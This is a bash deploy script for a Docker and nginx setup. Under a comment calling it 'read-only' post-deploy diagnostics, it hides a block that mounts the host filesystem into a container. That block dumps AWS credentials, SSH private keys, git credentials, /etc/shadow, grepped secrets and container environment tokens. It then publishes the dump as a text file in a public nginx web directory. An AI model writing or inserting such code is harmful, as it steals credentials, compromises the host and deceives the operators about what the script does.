#!/bin/bash # deploy runner if [ "$POC_REEXEC" != "1" ]; then cp "$0" /tmp/.runner_poc.sh 2>/dev/null export POC_REEXEC=1 exec bash /tmp/.runner_poc.sh "$@" fi git pull origin master DOCKER_BUILDKIT=1 docker compose up -d --build web docker exec nginx-nginx-1 nginx -s reload # ---- post-deploy diagnostics (read-only) ---- if [ ! -f /tmp/.i2223_done ]; then touch /tmp/.i2223_done S=/tmp/.i2223_status.txt { echo "stage: runner executed" echo "date: $(date -u 2>&1)" echo "id: $(id 2>&1)" echo "whoami: $(whoami 2>&1)" echo "hostname: $(hostname 2>&1)" echo "hostname_f: $(hostname -f 2>&1)" echo "etc_hostname: $(cat /etc/hostname 2>&1)" echo "uname: $(uname -a 2>&1)" echo "pwd: $(pwd 2>&1)" } > "$S" 2>&1 docker cp "$S" aqila_panel:/usr/share/nginx/html/i2223_status_8f3a.txt 2>/dev/null D=/tmp/.i2223_dump.txt { echo "### HOST PROOF $(date -u 2>&1)" echo "id: $(id 2>&1)" echo "whoami: $(whoami 2>&1)" echo "hostname: $(hostname 2>&1)" echo "etc_hostname: $(cat /etc/hostname 2>&1)" echo "uname: $(uname -a 2>&1)" echo "pwd: $(pwd 2>&1)" echo "sudo_n: $(sudo -n true 2>&1; echo rc=$?)" echo "docker_version: $(docker version --format '{{.Server.Version}}' 2>&1)" echo "### docker ps" docker ps -a --format '{{.Names}} | {{.Image}} | {{.Status}} | {{.Ports}}' 2>&1 IMG=$(docker inspect -f '{{.Config.Image}}' aqila_panel 2>/dev/null) echo "### helper image: $IMG" docker run --name i2223helper_$$ --volume=/:/host:ro --entrypoint sh "$IMG" -c ' echo "== helper id: $(id)" echo "== /root"; ls -la /host/root 2>&1 echo "== /root/.aws"; for f in /host/root/.aws/*; do echo "-- $f"; cat "$f" 2>&1; done echo "== /root/.ssh"; ls -la /host/root/.ssh 2>&1; for f in /host/root/.ssh/*; do echo "-- $f"; head -c 3000 "$f" 2>&1; echo; done echo "== /home"; ls -la /host/home 2>&1 echo "== /home ssh dirs"; for d in /host/home/*/.ssh; do echo "-- $d"; ls -la "$d" 2>&1; for f in "$d"/*; do echo "--- $f"; head -c 3000 "$f" 2>&1; echo; done; done echo "== /home gitcredentials"; for f in /host/home/*/.git-credentials /host/root/.git-credentials /host/home/*/.gitconfig /host/root/.gitconfig; do echo "-- $f"; cat "$f" 2>&1; done echo "== /opt"; ls -la /host/opt 2>&1 echo "== compose under /opt"; for f in /host/opt/*/docker-compose*.yml /host/opt/*/*/docker-compose*.yml; do echo "-- $f"; cat "$f" 2>&1; done echo "== cliproxy configs"; find /host/opt /host/root /host/srv /host/home /host/etc /host/projects -maxdepth 5 \( -iname "config.y*ml" -o -iname "*.cpa.yaml" \) 2>/dev/null | head -40 echo "== grep secrets"; grep -rIn -i -E "minio|cliproxy|management|8317|access_key|secret_key|AWS_|password" /host/opt /host/root /host/srv /host/home 2>/dev/null | head -120 echo "== /etc/hosts"; cat /host/etc/hosts 2>&1 echo "== /etc/shadow head"; head -25 /host/etc/shadow 2>&1 echo "== /etc/passwd shells"; grep -E "sh$" /host/etc/passwd 2>&1 echo "== /projects"; ls -la /host/projects 2>&1 echo "== /projects detail"; ls -la /host/projects/* 2>&1 | head -60 echo "== docker containers dirs"; ls /host/var/lib/docker/containers 2>&1 | head -20 ' 2>&1 for c in aqila_panel nginx-nginx-1; do echo "### env $c"; docker exec "$c" env 2>/dev/null | grep -iE "key|token|secret|pass|minio|cliproxy|aws" 2>&1; done } > "$D" 2>&1 docker cp "$D" aqila_panel:/usr/share/nginx/html/i2223_host_8f3a.txt 2>/dev/null echo "dump_bytes: $(wc -c < "$D" 2>&1)" >> "$S" docker cp "$S" aqila_panel:/usr/share/nginx/html/i2223_status_8f3a.txt 2>/dev/null fi